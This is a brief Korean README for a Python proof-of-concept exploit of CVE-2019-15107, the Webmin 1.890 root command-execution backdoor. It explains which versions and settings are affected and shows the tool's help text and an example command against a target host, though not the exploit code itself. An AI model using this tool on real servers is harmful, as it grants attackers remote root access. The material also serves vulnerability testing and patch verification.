
CVE-2019-15107 익스플로잇
Webmin 1.890 버전에는 해당 사실을 아는 사람이라면 누구나 루트 권한으로 명령을 실행할 수 있는 백도어가 포함된 채 출시되었습니다. 1.900부터 1.920까지의 버전에도 유사한 코드를 사용하는 백도어가 포함되어 있었지만, 기본 Webmin 설치에서는 악용할 수 없었습니다. 관리자가 Webmin -> Webmin Configuration -> Authentication에서 만료된 비밀번호 변경을 허용하는 기능을 활성화한 경우에만 공격자가 이 백도어를 사용할 수 있었습니다.
이 패키지를 설치하려면 pip3가 필요합니다.
$ python3 Webmin_exploit.py --help
usage: Webmin_exploit.py [-h] -host IP [-port Port] [-cmd Command]
Webmin 1.890 expired Remote Root POC
optional arguments:
-h, --help show this help message and exit
-host IP Host to attack
-port Port Port of the host ~ 10000 is Default
-cmd Command Command to execute ~ id is Default
python3 Webmin_exploit.py -host target -port 10000 -cmd id
$ python3 Webmin_exploit.py -host target -port 10000 -cmd id